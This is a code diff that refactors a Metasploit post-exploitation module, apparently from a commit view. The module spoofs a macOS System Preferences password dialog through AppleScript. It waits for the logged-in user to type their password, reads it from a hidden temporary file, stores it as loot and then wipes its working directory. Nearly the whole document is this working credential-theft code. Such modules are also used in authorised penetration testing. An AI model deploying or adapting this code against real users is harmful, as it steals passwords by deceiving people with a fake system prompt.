@@ -10,39 +10,43 @@ class Metasploit3 < Msf::Post
10
10
11
11
def initialize ( info = { } )
12
12
super ( update_info ( info ,
13
- 'Name' => 'Prompt the Mac OSX user for password credentials. ' ,
13
+ 'Name' => 'OSX Password Prompt Spoof ' ,
14
14
'Description' => %q{
15
- This module "spoofs" the OSX password prompt dialog, forcing a
16
- logged-in user to type in a password and click Enter.
15
+ Presents a password prompt dialog to a logged-in OSX user.
17
16
} ,
18
17
'License' => MSF_LICENSE ,
19
- 'Author' => [ 'Joff Thyer <jsthyer at gmail.com>' ,
20
- 'joev <jvennix[at]rapid7.com>' ] ,
18
+ 'Author' => [
19
+ 'Joff Thyer <jsthyer[at]gmail.com>' , # original post module
20
+ 'joev <jvennix[at]rapid7.com>' # bug fixes
21
+ ] ,
21
22
'Platform' => [ 'osx' ] ,
23
+ 'References' => [
24
+ [ 'URL' , 'http://blog.packetheader.net/2011/10/fun-with-applescript.html' ]
25
+ ] ,
22
26
'SessionTypes' => [ "shell" , "meterpreter" ]
23
27
) )
24
28
25
- register_options ( [
29
+ register_options ( [
26
30
OptString . new (
27
- 'TEXTCREDS' ,
31
+ 'TEXTCREDS' ,
28
32
[
29
- true ,
33
+ true ,
30
34
'Text displayed when asking for password' ,
31
35
'Type your password to allow System Preferences to make changes'
32
36
]
33
37
) ,
34
38
OptString . new (
35
- 'ICONFILE' ,
39
+ 'ICONFILE' ,
36
40
[
37
- true ,
41
+ true ,
38
42
'Icon filename relative to bundle' ,
39
43
'UserUnknownIcon.icns'
40
44
]
41
45
) ,
42
46
OptString . new (
43
- 'BUNDLEPATH' ,
47
+ 'BUNDLEPATH' ,
44
48
[
45
- true ,
49
+ true ,
46
50
'Path to bundle containing icon' ,
47
51
'/System/Library/CoreServices/CoreTypes.bundle'
48
52
]
@@ -76,37 +80,37 @@ def run
76
80
runme = dir + "/" + Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) )
77
81
creds_osa = dir + "/" + Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) )
78
82
creds = dir + "/" + Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) )
79
- passfile = dir + "/" + Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) )
83
+ pass_file = dir + "/" + Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) )
80
84
81
- username = cmd_exec ( "/usr/bin/whoami" )
85
+ username = cmd_exec ( "/usr/bin/whoami" ) . strip
82
86
cmd_exec ( "umask 0077" )
83
87
cmd_exec ( "/bin/mkdir #{ dir } " )
84
88
85
89
# write the script that will launch things
86
- write_file ( runme , run_script ( ) )
90
+ write_file ( runme , run_script )
87
91
cmd_exec ( "/bin/chmod 700 #{ runme } " )
88
92
89
93
# write the credentials script, compile and run
90
- write_file ( creds_osa , creds_script ( passfile ) )
94
+ write_file ( creds_osa , creds_script ( pass_file ) )
91
95
cmd_exec ( "/usr/bin/osacompile -o #{ creds } #{ creds_osa } " )
92
96
cmd_exec ( "#{ runme } #{ creds } " )
93
97
print_status ( "Waiting for user '#{ username } ' to enter credentials..." )
94
98
95
99
timeout = ::Time . now . to_f + datastore [ 'TIMEOUT' ] . to_i
100
+ pass_found = false
96
101
while ( ::Time . now . to_f < timeout )
97
- fileexist = cmd_exec ( "ls #{ passfile } " )
98
- if fileexist !~ /No such file/
102
+ if ::File . exist? ( pass_file )
99
103
print_status ( "Password entered! What a nice compliant user..." )
104
+ pass_found = true
100
105
break
101
106
end
102
- Kernel . select ( nil , nil , nil , 0.5 )
107
+ Rex . sleep ( 0.5 )
103
108
end
104
109
105
- if fileexist !~ /No such file/
106
- password_data = cmd_exec ( "/bin/cat #{ passfile } ")
110
+ if pass_found
111
+ password_data = read_file ( " #{ pass_file } ") . strip
107
112
print_status ( "password file contents: #{ password_data } " )
108
- passf = store_loot ( "password" , "text/plain" ,
109
- session , password_data , "passwd.pwd" , "OSX Password" )
113
+ passf = store_loot ( "password" , "text/plain" , session , password_data , "passwd.pwd" , "OSX Password" )
110
114
print_status ( "Password data stored as loot in: #{ passf } " )
111
115
else
112
116
print_status ( "Timeout period expired before credentials were entered!" )
@@ -116,25 +120,24 @@ def run
116
120
cmd_exec ( "/usr/bin/srm -rf #{ dir } " )
117
121
end
118
122
119
-
120
- def run_script ( wait = false )
121
- ch = if wait == false then "&" else "" end
123
+ # "wraps" the #creds_script applescript and allows it to make UI calls
124
+ def run_script
122
125
%Q{
123
126
#!/bin/bash
124
- osascript <<_EOF_ #{ ch }
127
+ osascript <<EOF
125
128
set scriptfile to "$1"
126
129
tell application "AppleScript Runner"
127
130
do script scriptfile
128
131
end tell
129
- _EOF_
132
+ EOF
130
133
}
131
134
end
132
135
133
-
134
- def creds_script ( passfile )
136
+ # applescript that displays the actual password prompt dialog
137
+ def creds_script ( pass_file )
135
138
textcreds = datastore [ 'TEXTCREDS' ]
136
139
ascript = %Q{
137
- set filename to "#{ passfile } "
140
+ set filename to "#{ pass_file } "
138
141
set myprompt to "#{ textcreds } "
139
142
set ans to "Cancel"
140
143
repeat
@@ -161,31 +164,18 @@ def creds_script(passfile)
161
164
try
162
165
close access myfile
163
166
end try
164
- end try
167
+ end try
165
168
}
166
169
end
167
170
168
171
# Checks if the target is OSX Server
169
172
def check_server
170
- # Get the OS Name
171
- osx_ver = case session . type
172
- when /meterpreter/
173
- cmd_exec ( "/usr/bin/sw_vers" , "-productName" ) . chomp
174
- when /shell/
175
- session . shell_command_token ( "/usr/bin/sw_vers -productName" ) . chomp
176
- end
177
-
178
- osx_ver =~ /Server/
173
+ cmd_exec ( "/usr/bin/sw_vers -productName" ) . chomp =~ /Server/
179
174
end
180
175
181
176
# Enumerate the OS Version
182
177
def get_ver
183
178
# Get the OS Version
184
- case session . type
185
- when /meterpreter/
186
- cmd_exec ( "/usr/bin/sw_vers" , "-productVersion" ) . chomp
187
- when /shell/
188
- session . shell_command_token ( "/usr/bin/sw_vers -productVersion" ) . chomp
189
- end
179
+ cmd_exec ( "/usr/bin/sw_vers" , "-productVersion" ) . chomp
190
180
end
191
181
end
0 commit comments